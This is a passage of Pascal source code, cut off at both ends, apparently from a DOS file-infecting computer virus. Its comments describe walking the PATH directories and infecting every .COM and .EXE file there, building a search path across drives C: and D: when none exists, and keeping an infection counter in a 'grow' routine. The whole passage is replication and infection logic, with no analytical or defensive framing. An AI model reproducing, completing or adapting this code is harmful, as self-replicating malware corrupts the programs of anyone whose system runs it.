   indx:=pos(';',ps);                           { go to next directory       }
   if indx=0 then                               { if not found, then at      }
    begin                                       { last directory             }
     tmp:=ps;                                   { copy directory name to     }
     ps:='';                                    { variable                   }
    end
   else
    begin
     tmp:=copy(ps,1,indx-1);                    { copy directory name to     }
     ps:=copy(ps,indx+1,length(ps)-indx);       { variable           }
    end;
   if tmp[length(tmp)]<>'\' then tmp:=tmp+'\';  { concatenate '\' if it      }
                                                { isn't already there        }
   rep(tmp,'cOm');                              { infect *.COM               }
   rep(tmp,'exE');                              { infect *.EXE               }
  end;
end;

procedure makep;                                { this makes a path if it    }
                                                { isn't found in the system  }
var b:byte;

begin
 getdir(0,ps);                                  { get current drive          }
 for b:=3 to 4 do                               { do this for C: and D:      }
  begin
   ps:=ps+';'+drives[b]+cb+';';                 { copy each drive to path    }
   findfirst(drives[b]+cb+wc,directory,sr);     { check if dirs on drive     }
   while (doserror=0) and (length(ps)<240) do   { if not, continue           }
    begin
     ps:=ps+drives[b]+cb+sr.name+';';           { add all dirs to the path   }
     findnext(sr);                              { do it again and again      }
    end;
  end;
end;

procedure grow;

begin
 inf:=0;                        { reset infection counter                    }
 ps:=getenv('path');            { get the current path                       }
 if ps<>'' then replicate;      { infect files if path found                 }
 if inf